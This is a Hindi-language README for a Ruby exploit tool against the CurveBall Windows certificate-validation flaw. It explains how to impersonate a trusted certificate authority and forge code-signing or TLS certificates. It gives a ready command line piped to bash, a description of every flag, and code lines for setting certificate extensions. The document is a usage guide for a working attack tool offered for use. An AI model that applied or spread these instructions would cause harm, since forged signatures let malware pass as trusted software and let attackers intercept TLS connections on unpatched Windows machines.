
CurveBall CVE शोषण
यह रूबी स्क्रिप्ट एक वैध प्रमाणपत्र प्राधिकरण (सर्टिफिकेट अथॉरिटी) का रूप धारण करने और एक ऐसा प्रमाणपत्र उत्पन्न करने के लिए उपयोग की जा सकती है जो CurveBall भेद्यता से प्रभावित विंडोज कंप्यूटर के लिए वैध माना जाएगा।
आपको उस प्रमाणपत्र प्राधिकरण से एक प्रमाणपत्र प्राप्त करना होगा जिसका आप रूप धारण करना चाहते हैं।
फिर, आप निम्नलिखित कमांड के साथ स्क्रिप्ट चला सकते हैं:
ruby gen-rogue-cert.rb -in=ca.crt -subj="/C=France/ST=IleDeFrance/L=Paris/O=YoannDqr" -out=cert_rb.p12 -exe=DoNotDebugMe.exe -sh -type=exe -sh | bash
स्क्रिप्ट का उपयोग हस्ताक्षरित PE फ़ाइलों के साथ-साथ TLS सर्वर उत्पन्न करने के लिए भी किया जा सकता है।
-in : अनिवार्य; रूप धारण करने के लिए विश्वसनीय CA प्रमाणपत्र का पथ
-out : अनिवार्य; उत्पन्न प्रमाणपत्र को संग्रहीत करने का पथ
-type : अनिवार्य; 'exe' (कोड हस्ताक्षर प्रमाणपत्र) या 'tls' (सर्वर और क्लाइंट प्रमाणीकरण प्रमाणपत्र) हो सकता है
-exe : वैकल्पिक; हस्ताक्षर करने के लिए निष्पादन योग्य का नाम
-subj : वैकल्पिक; उत्पन्न प्रमाणपत्र का विषय
-sh : ध्वज वैकल्पिक; केवल प्रमाणपत्र का उपयोग करने के लिए आवश्यक bash कमांड लौटाएं (उदाहरण: निष्पादन योग्य पर हस्ताक्षर करने की कमांड लाइन)
यह स्क्रिप्ट रूबी OpenSSL लाइब्रेरी https://github.com/ruby/openssl पर आधारित है।
यह इनपुट किए गए प्रमाणपत्र में मिली सार्वजनिक कुंजी से एक नकली CA उत्पन्न करेगा। फिर, यह एक प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) उत्पन्न करेगा और उसे नकली CA प्रमाणपत्र से हस्ताक्षरित करेगा। प्रमाणपत्र को pcks12 फ़ाइल में पैक किया जाएगा और आपके कंप्यूटर पर सहेजा जाएगा।
TLS प्रमाणपत्र उत्पन्न करने जैसी सुविधाएँ जोड़ने के लिए, प्रमाणपत्र हस्ताक्षर अनुरोध से उत्पन्न प्रमाणपत्र के एक्सटेंशन को संशोधित करें।
csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'codeSigning'))csr_cert.add_extension(extension_factory.create_extension('extendedKeyUsage', 'serverAuth, clientAuth'))